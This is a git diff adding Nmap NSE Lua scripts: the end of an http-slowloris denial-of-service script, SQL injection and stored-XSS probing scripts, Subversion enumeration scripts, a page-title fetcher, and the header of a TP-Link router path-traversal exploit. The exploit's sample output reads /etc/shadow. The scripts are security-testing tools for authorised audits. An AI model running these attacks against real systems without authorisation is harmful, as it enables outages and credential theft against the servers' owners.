+ end
+ if timeout_occured() then
+ return
+ end
+ end
+ stdnse.debug1("[SCHEDULER]: starting new thread")
+ local co = stdnse.new_thread(do_half_http, host, port, obj)
+ Threads[co] = true
+ if ( next(Threads) ) then
+ condvar("wait")
+ end
+ until next(Threads) == nil;
+ end
+end
+
+action = function(host, port)
+
+ Mutex("lock") -- we want only one slowloris instance running at a single
+ -- time even if multiple hosts are specified
+ -- in order to have as many sockets as we can available to
+ -- this script
+
+ set_parameters()
+
+ local output = {}
+ local start, stop, dos_time
+
+ start = os.date("!*t")
+ -- The first thread is for monitoring and is launched before the attack threads
+ stdnse.new_thread(do_monitor, host, port)
+ stdnse.sleep(2) -- let the monitor make the first request
+
+ stdnse.debug1("[MAIN THREAD]: starting scheduler")
+ stdnse.new_thread(worker_scheduler, host, port)
+ end_time = get_end_time()
+ local last_message
+ if TimeLimit == nil then
+ stdnse.debug1("[MAIN THREAD]: running forever!")
+ end
+
+ -- return a live notice from time to time
+ while not timeout_occured() and not StopAll do
+ if ServerNotice ~= last_message then
+ -- don't flood the output by repeating the same info
+ stdnse.debug1("[MAIN THREAD]: " .. ServerNotice)
+ last_message = ServerNotice
+ end
+ if DOSed and TimeLimit ~= nil then
+ break
+ end
+ stdnse.sleep(10)
+ end
+
+ stop = os.date("!*t")
+ dos_time = datetime.format_difftime(stop, start)
+ if DOSed then
+ if Reason == "slowloris" then
+ stdnse.debug2("Slowloris Attack stopped, building output")
+ output = "Vulnerable:\n" ..
+ "the DoS attack took "..
+ dos_time .. "\n" ..
+ "with ".. Sockets .. " concurrent connections\n" ..
+ "and " .. Queries .." sent queries"
+ else
+ stdnse.debug2("Slowloris Attack stopped. Monitor couldn't communicate with the server.")
+ output = "Probably vulnerable:\n" ..
+ "the DoS attack took " .. dos_time .. "\n" ..
+ "with " .. Sockets .. " concurrent connections\n" ..
+ "and " .. Queries .. " sent queries\n" ..
+ "Monitoring thread couldn't communicate with the server. " ..
+ "This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
+ end
+ Mutex("done") -- release the mutex
+ return stdnse.format_output(true, output)
+ end
+ Mutex("done") -- release the mutex
+ return false
+end
diff --git a/scripts/http-sql-injection.nse b/scripts/http-sql-injection.nse
new file mode 100644
index 0000000..84f4460
--- /dev/null
+++ b/scripts/http-sql-injection.nse
@@ -0,0 +1,285 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Spiders an HTTP server looking for URLs containing queries vulnerable to an SQL
+injection attack. It also extracts forms from found websites and tries to identify
+fields that are vulnerable.
+
+The script spiders an HTTP server looking for URLs containing queries. It then
+proceeds to combine crafted SQL commands with susceptible URLs in order to
+obtain errors. The errors are analysed to see if the URL is vulnerable to
+attack. This uses the most basic form of SQL injection but anything more
+complicated is better suited to a standalone tool.
+
+We may not have access to the target web server's true hostname, which can prevent access to
+virtually hosted sites.
+]]
+
+
+author = {"Eddie Bell", "Piotr Olma"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+---
+-- @see http-vuln-cve2014-3704.nse
+--
+-- @args http-sql-injection.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-sql-injection.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-sql-injection.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-sql-injection.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+-- @args http-sql-injection.errorstrings a path to a file containing the error
+-- strings to search for (one per line, lines started with # are treated as
+-- comments). The default file is nselib/data/http-sql-errors.lst
+-- which was taken from fuzzdb project, for more info, see http://code.google.com/p/fuzzdb/.
+-- If someone detects some strings in that file causing a lot of false positives,
+-- then please report them to dev@nmap.org.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http syn-ack
+-- | http-sql-injection:
+-- | Possible sqli for queries:
+-- | http://foo.pl/forms/page.php?param=13'%20OR%20sqlspider
+-- | Possible sqli for forms:
+-- | Form at path: /forms/f1.html, form's action: a1/check1.php. Fields that might be vulnerable:
+-- | f1text
+-- | Form at path: /forms/a1/../f2.html, form's action: a1/check2.php. Fields that might be vulnerable:
+-- |_ f2text
+--
+
+
+portrule = shortport.port_or_service({80, 443}, {"http","https"})
+
+--[[
+Pattern match response from a submitted injection query to see
+if it is vulnerable
+--]]
+
+local errorstrings = {}
+local function check_injection_response(response)
+
+ local body = string.lower(response.body)
+
+ if not (response.status == 200 or response.status ~= 500) then
+ return false
+ end
+
+ if errorstrings then
+ for _,e in ipairs(errorstrings) do
+ if string.find(body, e) then
+ stdnse.debug2("error string matched: %s", e)
+ return true
+ end
+ end
+ end
+ return false
+end
+
+--[[
+Replaces usual queries with malicious query and return a table with them.
+]]--
+
+local function build_injection_vector(urls)
+ local utab, k, v, urlstr, response
+ local qtab, old_qtab, results
+ local all = {}
+
+ for _, injectable in ipairs(urls) do
+ if type(injectable) == "string" then
+ utab = url.parse(injectable)
+ qtab = url.parse_query(utab.query)
+
+ for k, v in pairs(qtab) do
+ old_qtab = qtab[k];
+ qtab[k] = qtab[k] .. "' OR sqlspider"
+
+ utab.query = url.build_query(qtab)
+ urlstr = url.build(utab)
+ table.insert(all, urlstr)
+
+ qtab[k] = old_qtab
+ utab.query = url.build_query(qtab)
+ end
+ end
+ end
+ return all
+end
+
+--[[
+Creates a pipeline table and returns the result
+]]--
+local function inject(host, port, injectable)
+ local all = {}
+ for k, v in pairs(injectable) do
+ all = http.pipeline_add(v, nil, all, 'GET')
+ end
+ return http.pipeline_go(host, port, all)
+end
+
+--[[
+Checks if received responses matches with usual sql error messages,
+what potentially means that the host is vulnerable to sql injection.
+]]--
+local function check_responses(queries, responses)
+ local results = {}
+ for k, v in pairs(responses) do
+ if (check_injection_response(v)) then
+ table.insert(results, queries[k])
+ end
+ end
+ return results
+end
+
+-- checks if a field is of type we want to check for sqli
+local function sqli_field(field_type)
+ return field_type=="text" or field_type=="radio" or field_type=="checkbox" or field_type=="textarea"
+end
+
+-- generates postdata with value of "sampleString" for every field (that satisfies sqli_field()) of a form
+local function generate_safe_postdata(form)
+ local postdata = {}
+ for _,field in ipairs(form["fields"]) do
+ if sqli_field(field["type"]) then
+ postdata[field["name"]] = "sampleString"
+ end
+ end
+ return postdata
+end
+
+local function generate_get_string(data)
+ local get_str = {"?"}
+ for name,value in pairs(data) do
+ get_str[#get_str+1]=url.escape(name).."="..url.escape(value).."&"
+ end
+ return table.concat(get_str)
+end
+
+-- checks each field of a form to see if it's vulnerable to sqli
+local function check_form(form, host, port, path)
+ local vulnerable_fields = {}
+ local postdata = generate_safe_postdata(form)
+ local sending_function, response
+
+ local action_absolute = string.find(form["action"], "^https?://")
+ -- determine the path where the form needs to be submitted
+ local form_submission_path
+ if action_absolute then
+ form_submission_path = form["action"]
+ else
+ local path_cropped = string.match(path, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ form_submission_path = path_cropped..form["action"]
+ end
+
+ -- determine should the form be sent by post or get
+ local sending_function
+ if form["method"]=="post" then
+ sending_function = function(data) return http.post(host, port, form_submission_path, nil, nil, data) end
+ else
+ sending_function = function(data) return http.get(host, port, form_submission_path..generate_get_string(data), nil) end
+ end
+
+ for _,field in ipairs(form["fields"]) do
+ if sqli_field(field["type"]) then
+ stdnse.debug2("checking field %s", field["name"])
+ postdata[field["name"]] = "' OR sqlspider"
+ response = sending_function(postdata)
+ if response and response.body and response.status==200 then
+ if check_injection_response(response) then
+ vulnerable_fields[#vulnerable_fields+1] = field["name"]
+ end
+ end
+ postdata[field["name"]] = "sampleString"
+ end
+ end
+ return vulnerable_fields
+end
+
+-- load error strings to the errorstrings table
+local function get_error_strings(path)
+ local f = nmap.fetchfile(path) or path
+ if f then
+ for e in io.lines(f) do
+ if not string.match(e, "^#") then
+ table.insert(errorstrings, e:lower())
+ end
+ end
+ end
+ -- check if we loaded something
+ if #errorstrings == 0 then
+ -- if not, then load some default values
+ errorstrings = {"invalid query", "sql syntax", "odbc drivers error"}
+ end
+end
+
+action = function(host, port)
+ local error_strings_path = stdnse.get_script_args('http-sql-injection.errorstrings') or 'nselib/data/http-sql-errors.lst'
+ get_error_strings(error_strings_path)
+ -- crawl to find injectable urls
+ local crawler = httpspider.Crawler:new(host, port, nil, {scriptname = SCRIPT_NAME})
+ local injectable = {}
+ local results_forms = {name="Possible sqli for forms:"}
+
+ while(true) do
+ local status, r = crawler:crawl()
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ -- first we try sqli on forms
+ if r.response and r.response.body and r.response.status==200 then
+ local all_forms = http.grab_forms(r.response.body)
+ for _,form_plain in ipairs(all_forms) do
+ local form = http.parse_form(form_plain)
+ local path = r.url.path
+ if form and form.action then
+ local vulnerable_fields = check_form(form, host, port, path)
+ if #vulnerable_fields > 0 then
+ vulnerable_fields["name"] = "Form at path: "..path..", form's action: "..form["action"]..". Fields that might be vulnerable:"
+ table.insert(results_forms, vulnerable_fields)
+ end
+ end
+ end --for
+ end --if
+ local links = {}
+ if r.response.status and r.response.body then
+ links = httpspider.LinkExtractor:new(r.url, r.response.body, crawler.options):getLinks()
+ end
+ for _,u in ipairs(links) do
+ if url.parse(u).query then
+ table.insert(injectable, u)
+ end
+ end
+ end
+
+ -- try to inject
+ local results_queries = {}
+ if #injectable > 0 then
+ stdnse.debug1("Testing %d suspicious URLs", #injectable)
+ local injectableQs = build_injection_vector(injectable)
+ local responses = inject(host, port, injectableQs)
+ results_queries = check_responses(injectableQs, responses)
+ end
+
+ results_queries["name"] = "Possible sqli for queries:"
+ local res = {results_queries, results_forms}
+ return stdnse.format_output(true, res)
+end
+
diff --git a/scripts/http-stored-xss.nse b/scripts/http-stored-xss.nse
new file mode 100644
index 0000000..c0591d5
--- /dev/null
+++ b/scripts/http-stored-xss.nse
@@ -0,0 +1,283 @@
+description = [[
+Posts specially crafted strings to every form it
+encounters and then searches through the website for those
+strings to determine whether the payloads were successful.
+]]
+
+---
+-- @usage nmap -p80 --script http-stored-xss.nse <target>
+--
+-- This script works in two phases.
+-- 1) Posts specially crafted strings to every form it encounters.
+-- 2) Crawls through the page searching for these strings.
+--
+-- If any string is reflected on some page without any proper
+-- HTML escaping, it's a sign for potential XSS vulnerability.
+--
+-- @args http-stored-xss.formpaths The pages that contain
+-- the forms to exploit. For example, {/upload.php, /login.php}.
+-- Default: nil (crawler mode on)
+-- @args http-stored-xss.uploadspaths The pages that reflect
+-- back POSTed data. For example, {/comments.php, /guestbook.php}.
+-- Default: nil (Crawler mode on)
+-- @args http-stored-xss.fieldvalues The script will try to
+-- fill every field found in the form but that may fail due to
+-- fields' restrictions. You can manually fill those fields using
+-- this table. For example, {gender = "male", email = "foo@bar.com"}.
+-- Default: {}
+-- @args http-stored-xss.dbfile The path of a plain text file
+-- that contains one XSS vector per line. Default: nil
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-stored-xss:
+-- | Found the following stored XSS vulnerabilities:
+-- |
+-- | Payload: ghz>hzx
+-- | Uploaded on: /guestbook.php
+-- | Description: Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability.
+-- | Payload: zxc'xcv
+-- | Uploaded on: /guestbook.php
+-- | Description: Unfiltered ' (apostrophe). An indication of potential XSS vulnerability.
+-- |
+-- | Payload: ghz>hzx
+-- | Uploaded on: /posts.php
+-- | Description: Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability.
+-- | Payload: hzx"zxc
+-- | Uploaded on: /posts.php
+-- |_ Description: Unfiltered " (double quotation mark). An indication of potential XSS vulnerability.
+--
+-- @see http-dombased-xss.nse
+-- @see http-phpself-xss.nse
+-- @see http-xssed.nse
+-- @see http-unsafe-output-escaping.nse
+
+categories = {"intrusive", "exploit", "vuln"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local io = require "io"
+local string = require "string"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+
+-- A list of payloads.
+--
+-- You can manually add / remove your own payloads but make sure you
+-- don't mess up, otherwise the script may succeed when it actually
+-- hasn't.
+--
+-- Note, that more payloads will slow down your scan.
+payloads = {
+
+ -- Basic vectors. Each one is an indication of potential XSS vulnerability.
+ { vector = 'ghz>hzx', description = "Unfiltered '>' (greater than sign). An indication of potential XSS vulnerability." },
+ { vector = 'hzx"zxc', description = "Unfiltered \" (double quotation mark). An indication of potential XSS vulnerability." },
+ { vector = 'zxc\'xcv', description = "Unfiltered ' (apostrophe). An indication of potential XSS vulnerability." },
+}
+
+
+-- Create customized requests for all of our payloads.
+local makeRequests = function(host, port, submission, fields, fieldvalues)
+
+ local postdata = {}
+ for _, p in ipairs(payloads) do
+ for __, field in ipairs(fields) do
+ if field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
+
+ local value = fieldvalues[field["name"]]
+ if value == nil then
+ value = p.vector
+ end
+
+ postdata[field["name"]] = value
+
+ end
+ end
+
+ stdnse.debug2("Making a POST request to " .. submission .. ": ")
+ for i, content in pairs(postdata) do
+ stdnse.debug2(i .. ": " .. content)
+ end
+ local response = http.post(host, port, submission, { no_cache = true }, nil, postdata)
+ end
+
+end
+
+local checkPayload = function(body, p)
+
+ if (body:match(p)) then
+ return true
+ end
+
+end
+
+-- Check if the payloads were successful by checking the content of pages in the uploadspaths array.
+local checkRequests = function(body, target)
+
+ local output = {}
+ for _, p in ipairs(payloads) do
+ if checkPayload(body, p.vector) then
+ local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
+ if p.description then
+ report = report .. "\n\t Description: " .. p.description
+ end
+ table.insert(output, report)
+ end
+ end
+ return output
+end
+
+local readFromFile = function(filename)
+ local database = { }
+ for l in io.lines(filename) do
+ table.insert(payloads, { vector = l })
+ end
+end
+
+action = function(host, port)
+
+ local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
+ local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
+ local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
+ local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
+
+ if dbfile then
+ readFromFile(dbfile)
+ end
+
+ local returntable = {}
+ local result
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, k, target, response
+
+ -- Phase 1. Crawls through the website and POSTs malicious payloads.
+ while (true) do
+
+ if formpaths then
+
+ k, target = next(formpaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target, { no_cache = true })
+ target = host.name .. target
+ else
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
+ end
+
+ if response.body then
+
+ local forms = http.grab_forms(response.body)
+
+ for i, form in ipairs(forms) do
+
+ form = http.parse_form(form)
+
+ if form and form.action then
+
+ local action_absolute = string.find(form["action"], "https*://")
+
+ -- Determine the path where the form needs to be submitted.
+ local submission
+ if action_absolute then
+ submission = form["action"]
+ else
+ local path_cropped = string.match(target, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ submission = path_cropped..form["action"]
+ end
+
+ makeRequests(host, port, submission, form["fields"], fieldvalues)
+
+ end
+ end
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+
+ end
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
+ local index
+
+ -- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
+ while true do
+ if uploadspaths then
+ k, target = next(uploadspaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ else
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
+ end
+
+ if response.body then
+
+ result = checkRequests(response.body, target)
+
+ if next(result) then
+ table.insert(returntable, result)
+ end
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+
+ if next(returntable) then
+ table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
+ return returntable
+ else
+ return "Couldn't find any stored XSS vulnerabilities."
+ end
+end
diff --git a/scripts/http-svn-enum.nse b/scripts/http-svn-enum.nse
new file mode 100644
index 0000000..4a23113
--- /dev/null
+++ b/scripts/http-svn-enum.nse
@@ -0,0 +1,132 @@
+local http = require "http"
+local shortport = require "shortport"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local tab = require "tab"
+
+description = [[Enumerates users of a Subversion repository by examining logs of most recent commits.
+]]
+
+---
+-- @usage nmap --script http-svn-enum <target>
+--
+-- @args http-svn-enum.count The number of logs to fetch. Defaults to the last 1000 commits.
+-- @args http-svn-enum.url This is a URL relative to the scanned host eg. /default.html (default: /).
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | http-svn-enum:
+-- | Author Count Revision Date
+-- | gyani 183 34965 2015-07-24
+-- | robert 1 34566 2015-06-02
+-- | david 2 34785 2015-06-28
+--
+-- @xmloutput
+-- <table></table>
+-- <table>
+-- <elem>Author</elem>
+-- <elem>Count</elem>
+-- <elem>Revision</elem>
+-- <elem>Date</elem>
+-- </table>
+-- <table>
+-- <elem>gyani</elem>
+-- <elem>183</elem>
+-- <elem>34965</elem>
+-- <elem>2015-07-24</elem>
+-- </table>
+-- <table>
+-- <elem>robert</elem>
+-- <elem>1</elem>
+-- <elem>34566</elem>
+-- <elem>2015-06-02</elem>
+-- </table>
+-- <table>
+-- <elem>david</elem>
+-- <elem>2</elem>
+-- <elem>34785</elem>
+-- <elem>2015-06-28</elem>
+-- </table>
+
+author = "Gyanendra Mishra"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+local ELEMENTS = {
+ ["creator-displayname"] = "author",
+ ["version-name"] = "version",
+ ["date"] = "date",
+}
+
+local function get_callback(name, unames, temp)
+ if ELEMENTS[name] then
+ return function(content)
+ if not content then content = "unknown" end --useful for "nil" authors
+ temp[ELEMENTS[name]] = name == "date" and content:sub(1, 10) or content
+ if temp.date and temp.version and temp.author then
+ unames[temp.author] = {unames[temp.author] and unames[temp.author][1] + 1 or 1, temp.version, temp.date}
+ end
+ end
+ end
+end
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local count = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".count")) or 1000
+ local url = stdnse.get_script_args(SCRIPT_NAME .. ".url") or "/"
+ local output, revision, unames = tab.new(), nil, {}
+
+ local options = {
+ header = {
+ ["Depth"] = 0,
+ },
+ }
+
+ -- first we fetch the current revision number
+ local response = http.generic_request(host, port, "PROPFIND", url, options)
+ if response and response.status == 207 then
+
+ local parser = slaxml.parser:new()
+ parser._call = {startElement = function(name)
+ parser._call.text = name == "version-name" and function(content) revision = tonumber(content) end end,
+ closeElement = function(name) parser._call.text = function() return nil end end
+ }
+ parser:parseSAX(response.body, {stripWhitespace=true})
+
+ if revision then
+
+ local start_revision = revision > count and revision - count or 1
+ local content = '<?xml version="1.0"?> <S:log-report xmlns:S="svn:"> <S:start-revision>'.. start_revision .. '</S:start-revision> <S:discover-changed-paths/> </S:log-report>'
+
+ options = {
+ header = {
+ ["Depth"] = 1,
+ },
+ content = content,
+ }
+
+ local temp = {}
+ response = http.generic_request(host, port, "REPORT", url, options)
+ if response and response.status == 200 then
+
+ parser._call.startElement = function(name) parser._call.text = get_callback(name, unames, temp) end
+ parser._call.closeElement = function(name) if name == "log-item" then temp ={} end parser._call.text = function() return nil end end
+ parser:parseSAX(response.body, {stripWhitespace=true})
+
+ tab.nextrow(output)
+ tab.addrow(output, "Author", "Count", "Revision", "Date")
+
+ for revision_author, data in pairs(unames) do
+ tab.addrow(output, revision_author, data[1], data[2], data[3])
+ end
+
+ if next(unames) then return output end
+ end
+ end
+ end
+end
diff --git a/scripts/http-svn-info.nse b/scripts/http-svn-info.nse
new file mode 100644
index 0000000..257d38c
--- /dev/null
+++ b/scripts/http-svn-info.nse
@@ -0,0 +1,130 @@
+local http = require "http"
+local shortport = require "shortport"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+
+description = [[Requests information from a Subversion repository.
+]]
+
+---
+-- @usage nmap --script http-svn-info <target>
+--
+-- @args http-svn-info.url This is a URL relative to the scanned host eg. /default.html (default: /)
+--
+-- @output
+-- 443/tcp open https syn-ack
+-- | http-svn-info:
+-- | Path: .
+-- | URL: https://svn.nmap.org/
+-- | Relative URL: ^/
+-- | Repository Root: https://svn.nmap.org
+-- | Repository UUID: e0a8ed71-7df4-0310-8962-fdc924857419
+-- | Revision: 34938
+-- | Node Kind: directory
+-- | Last Changed Author: yang
+-- | Last Changed Rev: 34938
+-- |_ Last Changed Date: Sun, 19 Jul 2015 13:49:59 GMT--
+--
+-- @xmloutput
+-- <elem key="Path">.</elem>
+-- <elem key="URL">https://svn.nmap.org/</elem>
+-- <elem key="Relative URL">^/</elem>
+-- <elem key="Repository Root">https://svn.nmap.org</elem>
+-- <elem key="Repository UUID">e0a8ed71-7df4-0310-8962-fdc924857419</elem>
+-- <elem key="Revision">34938</elem>
+-- <elem key="Node Kind">directory</elem>
+-- <elem key="Last Changed Author">yang</elem>
+-- <elem key="Last Changed Rev">34938</elem>
+-- <elem key="Last Changed Date">Sun, 19 Jul 2015 13:49:59 GMT</elem>
+
+
+author = "Gyanendra Mishra"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+local ELEMENTS = {
+ ["repository-uuid"] = "Repository UUID",
+ ["version-name"] = "Last Changed Rev",
+ ["creator-displayname"] = "Last Changed Author",
+ ["getlastmodified"] = "Last Changed Date",
+ ["baseline-relative-path"] = "Relative URL",
+ ["href"] = "Repository Root",
+ ["getcontentlength"] = "file"
+}
+
+local output_order = {
+ "Last Changed Author",
+ "Last Changed Rev",
+ "Last Changed Date",
+}
+
+local function get_text_callback(store, name)
+ if ELEMENTS[name] == nil then return end
+ return function(content) store[ELEMENTS[name]] = content end
+end
+
+action = function(host, port)
+
+ local url = stdnse.get_script_args(SCRIPT_NAME .. ".url") or "/"
+ local output = {}
+ local ordered_output = stdnse.output_table()
+
+ local options = {
+ header = {
+ ["Depth"] = 0,
+ },
+ }
+
+ local response = http.generic_request(host, port, "PROPFIND", url, options)
+ if response and response.status == 207 then
+
+ local parser = slaxml.parser:new()
+ parser._call = {startElement = function(name)
+ parser._call.text = get_text_callback(output, name) end,
+ closeElement = function(name) parser._call.text = function() return nil end end
+ }
+ parser:parseSAX(response.body, {stripWhitespace=true})
+
+ if next(output) then
+
+ ordered_output["Path"] = url:match("/([^/]*)$"):len() > 0 and url:match("/([^/]*)$") or url:match("/([^/]*)/$") or "."
+ if output["file"] then
+ ordered_output["Name"] = url:match("/([^/]*)$")
+ end
+
+ ordered_output["URL"] = host.targetname and port.service .. "://" .. host.targetname .. url
+ ordered_output["Relative URL"] = output["Relative URL"] and "^/" .. output["Relative URL"] or "^/"
+ output["Repository Root"] = output["Repository Root"]:gsub("%/%!svn.*", ""):len() > 0 and output["Repository Root"]:gsub("%/%!svn.*", "") or "/"
+ ordered_output["Repository Root"] = port.service .. "://" .. host.targetname .. output["Repository Root"]
+ ordered_output["Repository UUID"] = output["Repository UUID"]
+ if url ~= output["Repository Root"] then
+ local temp_output = {}
+ response = http.generic_request(host, port, "PROPFIND", output["Repository Root"], options)
+ if response and response.status == 207 then
+ parser._call.startElement = function(name) parser._call.text = get_text_callback(temp_output, name) end
+ parser:parseSAX(response.body, {stripWhitespace=true})
+ ordered_output["Revision"] = temp_output["Last Changed Rev"]
+ end
+ else
+ ordered_output["Revision"] = output["Last Changed Rev"]
+ end
+
+ if not output["file"] then
+ ordered_output["Node Kind"] = "directory"
+ else
+ ordered_output["Node Kind"] = "file"
+ end
+
+ for _, value in ipairs(output_order) do
+ ordered_output[value] = output[value]
+ end
+
+ return ordered_output
+ end
+ end
+end
diff --git a/scripts/http-title.nse b/scripts/http-title.nse
new file mode 100644
index 0000000..87a14c3
--- /dev/null
+++ b/scripts/http-title.nse
@@ -0,0 +1,82 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Shows the title of the default page of a web server.
+
+The script will follow up to 5 HTTP redirects, using the default rules in the
+http library.
+]]
+
+---
+--@args http-title.url The url to fetch. Default: /
+--@output
+-- Nmap scan report for scanme.nmap.org (74.207.244.221)
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-title: Go ahead and ScanMe!
+--
+-- @xmloutput
+-- <elem key="title">Go ahead and ScanMe!</elem>
+-- @xmloutput
+-- <elem key="title">Wikipedia, the free encyclopedia</elem>
+-- <elem key="redirect_url">http://en.wikipedia.org/wiki/Main_Page</elem>
+
+author = "Diman Todorov"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local resp, redirect_url, title
+
+ resp = http.get( host, port, stdnse.get_script_args(SCRIPT_NAME..".url") or "/" )
+
+ -- check for a redirect
+ if resp.location then
+ redirect_url = resp.location[#resp.location]
+ if resp.status and tostring( resp.status ):match( "30%d" ) then
+ return {redirect_url = redirect_url}, ("Did not follow redirect to %s"):format( redirect_url )
+ end
+ end
+
+ if ( not(resp.body) ) then
+ return
+ end
+
+ -- try and match title tags
+ title = string.match(resp.body, "<[Tt][Ii][Tt][Ll][Ee][^>]*>([^<]*)</[Tt][Ii][Tt][Ll][Ee]>")
+
+ local display_title = title
+
+ if display_title and display_title ~= "" then
+ display_title = string.gsub(display_title , "[\n\r\t]", "")
+ if #display_title > 65 then
+ display_title = string.sub(display_title, 1, 62) .. "..."
+ end
+ else
+ display_title = "Site doesn't have a title"
+ if ( resp.header and resp.header["content-type"] ) then
+ display_title = display_title .. (" (%s)."):format( resp.header["content-type"] )
+ else
+ display_title = display_title .. "."
+ end
+ end
+
+ local output_tab = stdnse.output_table()
+ output_tab.title = title
+ output_tab.redirect_url = redirect_url
+
+ local output_str = display_title
+ if redirect_url then
+ output_str = output_str .. "\n" .. ("Requested resource was %s"):format( redirect_url )
+ end
+
+ return output_tab, output_str
+end
diff --git a/scripts/http-tplink-dir-traversal.nse b/scripts/http-tplink-dir-traversal.nse
new file mode 100644
index 0000000..f3a59a8
--- /dev/null
+++ b/scripts/http-tplink-dir-traversal.nse
@@ -0,0 +1,158 @@
+description = [[
+Exploits a directory traversal vulnerability existing in several TP-Link
+wireless routers. Attackers may exploit this vulnerability to read any of the
+configuration and password files remotely and without authentication.
+
+This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but
+there are several models that use the same HTTP server so I believe they could
+be vulnerable as well. I appreciate any help confirming the vulnerability in
+other models.
+
+Advisory:
+* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
+
+Other interesting files:
+* /tmp/topology.cnf (Wireless configuration)
+* /tmp/ath0.ap_bss (Wireless encryption key)
+]]
+
+---
+-- @usage nmap -p80 --script http-tplink-dir-traversal.nse <target>
+-- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse <target>
+-- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-tplink-dir-traversal:
+-- | VULNERABLE:
+-- | Path traversal vulnerability in several TP-Link wireless routers
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
+-- | This vulnerability can be exploited remotely and without authentication.
+-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
+-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
+-- | Disclosure date: 2012-06-18
+-- | Extra information:
+-- | /etc/shadow :
+-- |
+-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
+-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
+-- | bin::10933:0:99999:7:::
+-- | daemon::10933:0:99999:7:::
+-- | adm::10933:0:99999:7:::
+-- | lp:*:10933:0:99999:7:::
+-- | sync:*:10933:0:99999:7:::
+-- | shutdown:*:10933:0:99999:7:::
+-- | halt:*:10933:0:99999:7:::
+-- | uucp:*:10933:0:99999:7:::
+-- | operator:*:10933:0:99999:7:::
+-- | nobody::10933:0:99999:7:::
+-- | ap71::10933:0:99999:7:::
+-- |
+-- | References:
+-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
+--
